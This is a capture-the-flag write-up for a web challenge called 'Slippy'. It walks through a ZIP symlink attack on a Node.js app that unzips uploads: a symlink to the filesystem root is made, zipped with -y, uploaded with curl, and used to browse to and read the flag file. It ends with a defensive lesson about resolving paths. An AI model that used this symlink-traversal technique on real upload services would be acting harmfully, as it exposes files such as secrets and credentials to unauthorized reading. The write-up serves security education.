Published on

CTF Write-up: Slippy (Web)

Authors

Slippy (Web) – CTF Write-up

Challenge Overview

We are given a Node.js web application with two endpoints:

  • /upload → accepts ZIP uploads
  • /files → serves extracted contents

At build time, the container creates a random 8-character directory at the root / and places the flag there:

/[random8]/flag.txt


Exploitation Strategy

This is a textbook case of ZIP symlink abuse.
When unzip extracts an archive, it preserves symlinks by default. If the app later serves files without sanitizing the resolved paths, symlinks can escape the intended directory.

Plan:

  1. Craft a malicious ZIP containing a symlink root_link -> /.
  2. Upload it via /upload.
  3. Access /files/root_link/ to traverse into /.
  4. Locate the random 8-char folder.
  5. Read flag.txt.

Step 1 – Malicious ZIP

On macOS/Linux:

mkdir exploit && cd exploit
ln -s / root_link
zip -y -r exploit.zip root_link

The -y flag ensures the symlink is stored as a symlink.

Verification:

zipinfo -l exploit.zip
# lrwxr-xr-x root_link -> /

Step 2 – Session Handling

Upload required a valid session cookie. Visiting ”/” sets a “connect.sid”

curl -c cookies.txt https://web-slippy-<id>.challs.tfcctf.com/

Step 3 – Upload the Exploit

The form field was “file”. Upload:

curl -b cookies.txt \
  -F "file=@exploit.zip;type=application/zip" \
  https://web-slippy-<id>.challs.tfcctf.com/upload

Check files:

curl -b cookies.txt https://web-slippy-<id>.challs.tfcctf.com/files/

We now see root_link. Browse the symlink:

curl -b cookies.txt https://web-slippy-<id>.challs.tfcctf.com/files/root_link/

This reveals the random 8-character folder (e.g. c1lj821b).


Step 5 – Exfiltrate the Flag

Final request:

curl -b cookies.txt \
  https://web-slippy-<id>.challs.tfcctf.com/files/root_link/c1lj821b/flag.txt

Flag retrieved:

TFCCTF{Fake_fLag}

Notes & Lessons

  • unzip + symlinks is a recurring pitfall: if static file serving (express.static) doesn’t resolve securely (e.g. using fs.realpath), uploads can break containment.

  • Session handling was critical — uploads without cookies triggered 500 errors.

  • The “random dir” trick only slows brute-forcing; with symlink access, enumeration was trivial.